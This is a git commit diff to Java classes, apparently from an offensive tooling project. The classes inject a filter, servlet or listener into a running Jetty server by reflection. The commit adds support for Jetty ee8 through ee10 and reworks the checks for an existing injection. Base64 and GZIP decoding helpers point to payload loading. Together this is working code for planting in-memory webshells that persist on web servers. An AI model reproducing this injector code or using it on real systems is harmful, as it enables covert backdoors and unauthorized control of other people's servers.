feat: support jetty ee8 ~ ee10 env

This commit is contained in:
ReaJason
2025-05-14 00:34:32 +08:00
parent f289b0a3a5
commit 838bfa0e8a
3 changed files with 43 additions and 53 deletions
@@ -50,17 +50,32 @@ public class JettyFilterInjector {
if (servletHandler == null) {
return;
}
if (isInjected(servletHandler)) {
if (invokeMethod(servletHandler, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
System.out.println("filter is already injected");
return;
}
String[] classNames = new String[]{
"org.eclipse.jetty.servlet.FilterHolder",
"org.eclipse.jetty.ee8.servlet.FilterHolder",
"org.eclipse.jetty.ee9.servlet.FilterHolder",
"org.eclipse.jetty.ee10.servlet.FilterHolder",
"org.mortbay.jetty.servlet.FilterHolder",
};
Class<?> filterHolderClass = null;
try {
filterHolderClass = context.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder");
} catch (ClassNotFoundException e) {
filterHolderClass = context.getClass().getClassLoader().loadClass("org.mortbay.jetty.servlet.FilterHolder");
for (String className : classNames) {
try {
filterHolderClass = context.getClass().getClassLoader().loadClass(className);
} catch (ClassNotFoundException ignored) {
}
}
if (filterHolderClass == null) {
throw new ClassNotFoundException("FilterHodler");
}
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
Object filterHolder = constructor.newInstance(filter.getClass());
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
@@ -154,26 +169,6 @@ public class JettyFilterInjector {
}
}
public boolean isInjected(Object servletHandler) throws Exception {
Object filterMappings = getFieldValue(servletHandler, "_filterMappings");
if (filterMappings == null) {
return false;
}
Object[] filterMaps = new Object[0];
if (filterMappings instanceof List) {
filterMaps = ((List<?>) filterMappings).toArray();
} else if (filterMappings instanceof Object[]) {
filterMaps = (Object[]) filterMappings;
}
for (Object filterMap : filterMaps) {
Object filterName = getFieldValue(filterMap, "_filterName");
if (filterName.equals(getClassName())) {
return true;
}
}
return false;
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
@@ -93,9 +93,11 @@ public class JettyListenerInjector {
public static void inject(Object context, Object listener) throws Exception {
if (isInjected(context, listener.getClass().getName())) {
System.out.println("listener is already injected");
return;
}
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
System.out.println("listener added successfully");
}
@SuppressWarnings("unchecked")
@@ -6,7 +6,6 @@ import java.io.IOException;
import java.lang.reflect.*;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
@@ -99,50 +98,44 @@ public class JettyServletInjector {
public void inject(Object context, Object servlet) throws Exception {
Object servletHandler = getFieldValue(context, "_servletHandler");
// 1. 判断是否已经注入
if (isInjected(servletHandler)) {
if (invokeMethod(servletHandler, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
System.out.println("servlet is already injected");
return;
}
ClassLoader classLoader = context.getClass().getClassLoader();
String[] classNames = new String[]{
"org.eclipse.jetty.servlet.ServletHolder",
"org.eclipse.jetty.ee8.servlet.ServletHolder",
"org.eclipse.jetty.ee9.servlet.ServletHolder",
"org.eclipse.jetty.ee10.servlet.ServletHolder",
"org.mortbay.jetty.servlet.ServletHolder",
};
Class<?> servletHolderClass = null;
try {
servletHolderClass = classLoader.loadClass("org.eclipse.jetty.servlet.ServletHolder");
} catch (ClassNotFoundException e) {
servletHolderClass = classLoader.loadClass("org.mortbay.jetty.servlet.ServletHolder");
for (String className : classNames) {
try {
servletHolderClass = context.getClass().getClassLoader().loadClass(className);
} catch (ClassNotFoundException ignored) {
}
}
if (servletHolderClass == null) {
throw new ClassNotFoundException("ServletHodler");
}
Constructor<?> servletHolderConstructor = servletHolderClass.getDeclaredConstructor();
servletHolderConstructor.setAccessible(true);
Object servletHolder = servletHolderConstructor.newInstance();
invokeMethod(servletHolder, "setServlet", new Class[]{getServletClass(classLoader)}, new Object[]{servlet});
invokeMethod(servletHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(servletHandler, "addServlet", new Class[]{servletHolderClass}, new Object[]{servletHolder});
Class<?> servletMappingClass = null;
try {
servletMappingClass = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping");
} catch (ClassNotFoundException e) {
servletMappingClass = classLoader.loadClass("org.mortbay.jetty.servlet.ServletMapping");
}
Constructor<?> servletMappingConstructor = servletMappingClass.getDeclaredConstructor();
servletMappingConstructor.setAccessible(true);
Object servletMapping = servletMappingConstructor.newInstance();
invokeMethod(servletMapping, "setServletName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(servletMapping, "setPathSpecs", new Class[]{String[].class}, new Object[]{new String[]{getUrlPattern()}});
invokeMethod(servletHandler, "addServletMapping", new Class[]{servletMappingClass}, new Object[]{servletMapping});
invokeMethod(servletHandler, "addServletWithMapping", new Class[]{servletHolderClass, String.class}, new Object[]{servletHolder, getUrlPattern()});
System.out.println("servlet inject successful");
}
@SuppressWarnings("unchecked")
public boolean isInjected(Object servletHandler) throws Exception {
Map<String, Object> servletNameMap = (Map<String, Object>) getFieldValue(servletHandler, "_servletNameMap");
if (servletNameMap == null) {
return false;
}
return servletNameMap.containsKey(getClassName());
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {